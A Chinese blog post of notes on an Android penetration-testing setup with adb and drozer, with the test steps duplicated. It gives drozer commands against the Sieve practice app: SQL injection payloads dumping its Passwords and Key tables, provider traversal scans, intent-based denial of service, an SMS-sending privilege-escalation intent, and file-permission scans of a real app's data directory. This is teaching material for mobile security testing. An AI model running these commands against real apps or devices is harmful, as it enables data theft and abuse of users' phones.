• 安卓渗透测试环境搭建笔记


    • windows10 adb 安装

    https://adb.clockworkmod.com/

    配置环境变量后重启

    • idea 安卓开发环境

    idea创建一个安卓项目,需要安装Android SDk.

    需要到dl.google.com下载,国内被墙的原因,可能无法下载。到https://ping.chinaz.com/dl.google.com,选择一个能快速访问的ip,配置下本地hosts即可下载

     

    进入项目后,会下载安装gradle,直接用迅雷下载下载,放到C:UsersAdministrator.gradlewrapperdistsgradle-4.10.1-allxxxxx目录即可,然后重启项目,会自动配置,需要一段时间

    之后是配置虚拟运行环境。

    不用虚拟环境也可, 毕竟每次开启虚拟环境老慢了,可以移动端打开开发者模式 ,连接移动端后即可在手机端测试运行

    • drozer安装与使用

    链接:https://pan.baidu.com/s/1TwAAyQd9AO8X7Y5rrMjOPQ
    提取码:96um

    其中 setup.exe 为Windows主机的安装文件 agent.apk 为调试用的安卓手机安装文件

    第一步:在PC上使用adb进行端口转发,转发到Drozer使用的端口31415

    adb forward tcp:31415 tcp:31415

    第二步:在Android设备上开启Drozer Agent

    选择embedded server-enable

    第三步:在PC上开启Drozer console

    drozer console connect

    二、测试步骤

    1.获取包名

    dz> run app.package.list -f xiangkan
    
    com.xiangkan.android

    如果乱码的话找到drozerLibdrozermodulesapppackage.py

    加入代码

    import sys
    reload(sys)
    sys.setdefaultencoding('utf-8')

    找到这段代码,修改红色部分

    if arguments.no_app_name:
                    self.stdout.write(u"%s
    " % application.packageName)
                else:
                    self.stdout.write(u"%s (%s)
    " % (application.packageName, self.packageManager().getApplicationLabel(application.packageName)))

    2.获取应用的基本信息

    run app.package.info -a com.xiangkan.android

    3.确定攻击面

    run app.package.attacksurface com.mwr.example.sieve

    4.Activity

    1)获取activity信息

    run app.activity.info -a com.mwr.example.sieve

    2)启动activity

    复制代码
    run app.activity.start --component com.mwr.example.sieve
    
    dz> help app.activity.start
    
    usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
    
    [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
    
    [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
    
    [--mimetype MIMETYPE]
    复制代码

    5.Content Provider

    1)获取Content Provider信息

    run app.provider.info -a com.mwr.example.sieve

    (2)Content Providers(数据泄露)

    先获取所有可以访问的Uri: 

    run scanner.provider.finduris -a com.mwr.example.sieve

    获取各个Uri的数据:

    run app.provider.query
    
    content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

    查询到数据说明存在漏洞

    run scanner.provider.injection -a com.mwr.example.sieve

    (3)Content ProvidersSQL注入)

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
    
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

    报错则说明存在SQL注入。

    列出所有表:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

    获取某个表(如Key)中的数据:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

    4)同时检测SQL注入和目录遍历

    run scanner.provider.injection -a com.mwr.example.sieve
    
    run scanner.provider.traversal -a com.mwr.example.sieve

    6 intent组件触发(拒绝服务、权限提升)

    利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。

    1.查看暴露的广播组件信息:

    run app.broadcast.info -a com.package.name  获取broadcast receivers信息
    
    run app.broadcast.send --component 包名 --action android.intent.action.XXX

    2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

    run app.broadcast.send 通过intent发送broadcast receiver

    (1)   空action

    run app.broadcast.send --component 包名 ReceiverName
    
    run app.broadcast.send --component 包名 ReceiverName

    (2)   空extras

    run app.broadcast.send --action android.intent.action.XXX

    3.尝试权限提升

    权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:

    (1)获取service详情  

    run app.service.info -a com.mwr.example.sieve
    
    不使用drozer启动service
    
    am startservice –n 包名/service名

    (2)权限提升

    run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

    7.文件操作

    列出指定文件路径里全局可写/可读的文件

    run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
    
    run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
    
    run app.broadcast.send --component 包名 --action android.intent.action.XXX

    8.其它模块

    shell.start 在设备上开启一个交互shell
    
    tools.file.upload / tools.file.download 上传/下载文件到设备
    
    tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件


    二、测试步骤

    1.获取包名

    dz> run app.package.list -f sieve
    
    com.mwr.example.sieve

    2.获取应用的基本信息

    run app.package.info -a com.mwr.example.sieve

    3.确定攻击面

    run app.package.attacksurface com.mwr.example.sieve

    4.Activity

    1)获取activity信息

    run app.activity.info -a com.mwr.example.sieve

    2)启动activity

    复制代码
    run app.activity.start --component com.mwr.example.sieve
    
    dz> help app.activity.start
    
    usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
    
    [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
    
    [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
    
    [--mimetype MIMETYPE]
    复制代码

    5.Content Provider

    1)获取Content Provider信息

    run app.provider.info -a com.mwr.example.sieve

    (2)Content Providers(数据泄露)

    先获取所有可以访问的Uri: 

    run scanner.provider.finduris -a com.mwr.example.sieve

    获取各个Uri的数据:

    run app.provider.query
    
    content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

    查询到数据说明存在漏洞

    (3)Content ProvidersSQL注入)

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
    
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

    报错则说明存在SQL注入。

    列出所有表:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

    获取某个表(如Key)中的数据:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

    4)同时检测SQL注入和目录遍历

    run scanner.provider.injection -a com.mwr.example.sieve
    
    run scanner.provider.traversal -a com.mwr.example.sieve

    6 intent组件触发(拒绝服务、权限提升)

    利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。

    1.查看暴露的广播组件信息:

    run app.broadcast.info -a com.package.name  获取broadcast receivers信息
    
    run app.broadcast.send --component 包名 --action android.intent.action.XXX

    2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

    run app.broadcast.send 通过intent发送broadcast receiver

    (1)   空action

    run app.broadcast.send --component 包名 ReceiverName
    
    run app.broadcast.send --component 包名 ReceiverName

    (2)   空extras

    run app.broadcast.send --action android.intent.action.XXX

    3.尝试权限提升

    权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:

    (1)获取service详情  

    run app.service.info -a com.mwr.example.sieve
    
    不使用drozer启动service
    
    am startservice –n 包名/service名

    (2)权限提升

    run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

    7.文件操作

    列出指定文件路径里全局可写/可读的文件

    run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
    
    run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
    
    run app.broadcast.send --component 包名 --action android.intent.action.XXX

    8.其它模块

    shell.start 在设备上开启一个交互shell
    
    tools.file.upload / tools.file.download 上传/下载文件到设备
    
    tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件
  • 相关阅读:
    关于烂代码的那些事(中)
    关于烂代码的那些事(上)
    关于烂代码的那些事(上)
    Maven学习总结(14)——Maven 多模块项目如何分工?
    Maven学习总结(14)——Maven 多模块项目如何分工?
    优秀Java程序员必备10招
    优秀Java程序员必备10招
    SSO单点登录学习总结(3)—— 基于CAS实现单点登录实例
    SSO单点登录学习总结(3)—— 基于CAS实现单点登录实例
    SSO单点登录学习总结(2)——基于Cookie+fliter单点登录实例
  • 原文地址:https://www.cnblogs.com/fczlm/p/14344286.html
Copyright © 2020-2023  润新知